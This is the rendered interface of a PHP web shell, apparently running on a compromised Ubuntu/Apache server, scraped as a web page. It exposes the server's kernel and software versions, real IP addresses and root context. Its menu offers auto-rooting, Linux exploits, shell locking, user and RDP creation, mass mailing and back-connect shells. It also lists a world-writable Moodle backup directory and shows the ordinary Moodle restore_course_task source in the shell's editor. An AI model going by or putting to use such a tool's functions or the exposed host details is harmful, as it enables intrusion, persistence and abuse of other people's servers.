Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
backup /
moodle2 /
[ HOME SHELL ]
Name
Size
Permission
Action
backup_activity_task.class.php
14.13
KB
-rwxrwxrwx
backup_block_task.class.php
7.88
KB
-rwxrwxrwx
backup_course_task.class.php
5.91
KB
-rwxrwxrwx
backup_coursereport_plugin.cla...
1.31
KB
-rwxrwxrwx
backup_custom_fields.php
4.23
KB
-rwxrwxrwx
backup_default_block_task.clas...
1.65
KB
-rwxrwxrwx
backup_final_task.class.php
7.88
KB
-rwxrwxrwx
backup_format_plugin.class.php
1.81
KB
-rwxrwxrwx
backup_gradingform_plugin.clas...
1.35
KB
-rwxrwxrwx
backup_local_plugin.class.php
1.16
KB
-rwxrwxrwx
backup_plagiarism_plugin.class...
1.65
KB
-rwxrwxrwx
backup_plan_builder.class.php
7.76
KB
-rwxrwxrwx
backup_plugin.class.php
3.45
KB
-rwxrwxrwx
backup_qtype_plugin.class.php
8.01
KB
-rwxrwxrwx
backup_report_plugin.class.php
1.27
KB
-rwxrwxrwx
backup_root_task.class.php
7.17
KB
-rwxrwxrwx
backup_section_task.class.php
6.33
KB
-rwxrwxrwx
backup_settingslib.php
5.63
KB
-rwxrwxrwx
backup_stepslib.php
84.42
KB
-rwxrwxrwx
backup_subplugin.class.php
3.57
KB
-rwxrwxrwx
backup_theme_plugin.class.php
3
KB
-rwxrwxrwx
backup_xml_transformer.class.p...
8.09
KB
-rwxrwxrwx
restore_activity_task.class.ph...
12.69
KB
-rwxrwxrwx
restore_block_task.class.php
5.97
KB
-rwxrwxrwx
restore_course_task.class.php
8.33
KB
-rwxrwxrwx
restore_coursereport_plugin.cl...
1.05
KB
-rwxrwxrwx
restore_default_block_task.cla...
1.7
KB
-rwxrwxrwx
restore_final_task.class.php
8.89
KB
-rwxrwxrwx
restore_format_plugin.class.ph...
1.29
KB
-rwxrwxrwx
restore_gradingform_plugin.cla...
1.7
KB
-rwxrwxrwx
restore_local_plugin.class.php
1.16
KB
-rwxrwxrwx
restore_plagiarism_plugin.clas...
1.82
KB
-rwxrwxrwx
restore_plan_builder.class.php
8.62
KB
-rwxrwxrwx
restore_plugin.class.php
10.05
KB
-rwxrwxrwx
restore_qtype_plugin.class.php
15.63
KB
-rwxrwxrwx
restore_report_plugin.class.ph...
1.02
KB
-rwxrwxrwx
restore_root_task.class.php
12.47
KB
-rwxrwxrwx
restore_section_task.class.php
7.01
KB
-rwxrwxrwx
restore_settingslib.php
5.37
KB
-rwxrwxrwx
restore_stepslib.php
178.15
KB
-rwxrwxrwx
restore_subplugin.class.php
7
KB
-rwxrwxrwx
restore_theme_plugin.class.php
1.04
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : restore_course_task.class.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Defines restore_course_task class * * @package core_backup * @subpackage moodle2 * @category backup * @copyright 2010 onwards Eloy Lafuente (stronk7) {@link http://stronk7.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * course task that provides all the properties and common steps to be performed * when one course is being restored * * TODO: Finish phpdocs */ class restore_course_task extends restore_task { protected $info; // info related to course gathered from backup file protected $contextid; // course context id /** * Constructor - instantiates one object of this class */ public function __construct($name, $info, $plan = null) { $this->info = $info; parent::__construct($name, $plan); } /** * Course tasks have their own directory to read files */ public function get_taskbasepath() { return $this->get_basepath() . '/course'; } public function get_contextid() { return $this->contextid; } /** * Create all the steps that will be part of this task */ public function build() { // Define the task contextid (the course one) $this->contextid = context_course::instance($this->get_courseid())->id; // Executed conditionally if restoring to new course or if overwrite_conf setting is enabled if ($this->get_target() == backup::TARGET_NEW_COURSE || $this->get_setting_value('overwrite_conf') == true) { $this->add_step(new restore_course_structure_step('course_info', 'course.xml')); } $this->add_step(new restore_course_legacy_files_step('legacy_files')); // Deal with enrolment methods and user enrolments. if ($this->plan->get_mode() == backup::MODE_IMPORT) { // No need to do anything with enrolments. } else if (!$this->get_setting_value('users') or $this->plan->get_mode() == backup::MODE_HUB) { if ($this->get_target() == backup::TARGET_CURRENT_ADDING or $this->get_target() == backup::TARGET_EXISTING_ADDING) { // Keep current enrolments unchanged. } else { // If no instances yet add default enrol methods the same way as when creating new course in UI. $this->add_step(new restore_default_enrolments_step('default_enrolments')); } } else { // Restore course enrolment data. $this->add_step(new restore_enrolments_structure_step('course_enrolments', 'enrolments.xml')); } // Populate groups, this must be done after enrolments because only enrolled users may be in groups. $this->add_step(new restore_groups_members_structure_step('create_groups_members', '../groups.xml')); // Restore course role assignments and overrides (internally will observe the role_assignments setting), // this must be done after all users are enrolled. $this->add_step(new restore_ras_and_caps_structure_step('course_ras_and_caps', 'roles.xml')); // Restore course filters (conditionally) if ($this->get_setting_value('filters')) { $this->add_step(new restore_filters_structure_step('course_filters', 'filters.xml')); } // Restore course comments (conditionally) if ($this->get_setting_value('comments')) { $this->add_step(new restore_comments_structure_step('course_comments', 'comments.xml')); } // Calendar events (conditionally) if ($this->get_setting_value('calendarevents')) { $this->add_step(new restore_calendarevents_structure_step('course_calendar', 'calendar.xml')); } // At the end, mark it as built $this->built = true; } /** * Define the contents in the course that must be * processed by the link decoder */ static public function define_decode_contents() { $contents = array(); $contents[] = new restore_decode_content('course', 'summary'); return $contents; } /** * Define the decoding rules for links belonging * to the course to be executed by the link decoder */ static public function define_decode_rules() { $rules = array(); $rules[] = new restore_decode_rule('COURSEVIEWBYID', '/course/view.php?id=$1', 'course'); return $rules; } // Protected API starts here /** * Define the common setting that any restore course will have */ protected function define_settings() { //$name, $vtype, $value = null, $visibility = self::VISIBLE, $status = self::NOT_LOCKED $fullname = new restore_course_generic_text_setting('course_fullname', base_setting::IS_TEXT, $this->get_info()->original_course_fullname); $fullname->get_ui()->set_label(get_string('setting_course_fullname', 'backup')); $this->add_setting($fullname); $shortname = new restore_course_generic_text_setting('course_shortname', base_setting::IS_TEXT, $this->get_info()->original_course_shortname); $shortname->get_ui()->set_label(get_string('setting_course_shortname', 'backup')); $this->add_setting($shortname); $startdate = new restore_course_generic_text_setting('course_startdate', base_setting::IS_INTEGER, $this->get_info()->original_course_startdate); $startdate->set_ui(new backup_setting_ui_dateselector($startdate, get_string('setting_course_startdate', 'backup'))); $this->add_setting($startdate); $keep_enrols = new restore_course_generic_setting('keep_roles_and_enrolments', base_setting::IS_BOOLEAN, false); $keep_enrols->set_ui(new backup_setting_ui_select($keep_enrols, $keep_enrols->get_name(), array(1=>get_string('yes'), 0=>get_string('no')))); $keep_enrols->get_ui()->set_label(get_string('setting_keep_roles_and_enrolments', 'backup')); if ($this->get_target() != backup::TARGET_CURRENT_DELETING and $this->get_target() != backup::TARGET_EXISTING_DELETING) { $keep_enrols->set_value(false); $keep_enrols->set_status(backup_setting::LOCKED_BY_CONFIG); $keep_enrols->set_visibility(backup_setting::HIDDEN); } $this->add_setting($keep_enrols); $keep_groups = new restore_course_generic_setting('keep_groups_and_groupings', base_setting::IS_BOOLEAN, false); $keep_groups->set_ui(new backup_setting_ui_select($keep_groups, $keep_groups->get_name(), array(1=>get_string('yes'), 0=>get_string('no')))); $keep_groups->get_ui()->set_label(get_string('setting_keep_groups_and_groupings', 'backup')); if ($this->get_target() != backup::TARGET_CURRENT_DELETING and $this->get_target() != backup::TARGET_EXISTING_DELETING) { $keep_groups->set_value(false); $keep_groups->set_status(backup_setting::LOCKED_BY_CONFIG); $keep_groups->set_visibility(backup_setting::HIDDEN); } $this->add_setting($keep_groups); // Define overwrite_conf to decide if course configuration will be restored over existing one $overwrite = new restore_course_overwrite_conf_setting('overwrite_conf', base_setting::IS_BOOLEAN, false); $overwrite->set_ui(new backup_setting_ui_select($overwrite, $overwrite->get_name(), array(1=>get_string('yes'), 0=>get_string('no')))); $overwrite->get_ui()->set_label(get_string('setting_overwriteconf', 'backup')); if ($this->get_target() == backup::TARGET_NEW_COURSE) { $overwrite->set_value(true); $overwrite->set_status(backup_setting::LOCKED_BY_CONFIG); $overwrite->set_visibility(backup_setting::HIDDEN); } $this->add_setting($overwrite); } }
Close